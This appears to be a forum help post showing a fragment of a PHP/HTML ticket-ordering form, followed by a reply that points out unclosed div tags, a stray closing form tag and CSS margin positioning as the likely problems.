background-color: lightyellow;
border-radius: 4px;
}
</style>
</head>
<body>
<div id="contentwrap">
<div id="heading">Online Order Event Form</div>
<div id="border"></div>
<div id="content">
<div id="border2"></div>
<div class="formtext">Choose a show</div>
<select class="formfield" name="Show">
<div class="formtext">Select a number of tickets (max 4)</div>
<select class="formfield" name="Tickets">
<?php
for( $i = 0; $i < count( $shows ); $i++ ) {
echo "<option value=\"". $i ."\">". $shows[ $i ]
." $". $prices[ $i ] ."</option>\n";
}
?>
</select>
<div style="margin:160px 0px 80px -48px;">
<input type="submit" value="Order Tickets" />
</div>
</form>
</div> <!-- ends div#contentwrap -->
</body>
</html>
Your code has loads of <div> tags but no corresponding closing </div>.
There's also a </form> with no corresponding <form>.
Also consider using indentation for easier reading.
Edit: Okay, so it's something to do with your CSS and usage of margin to try and position things.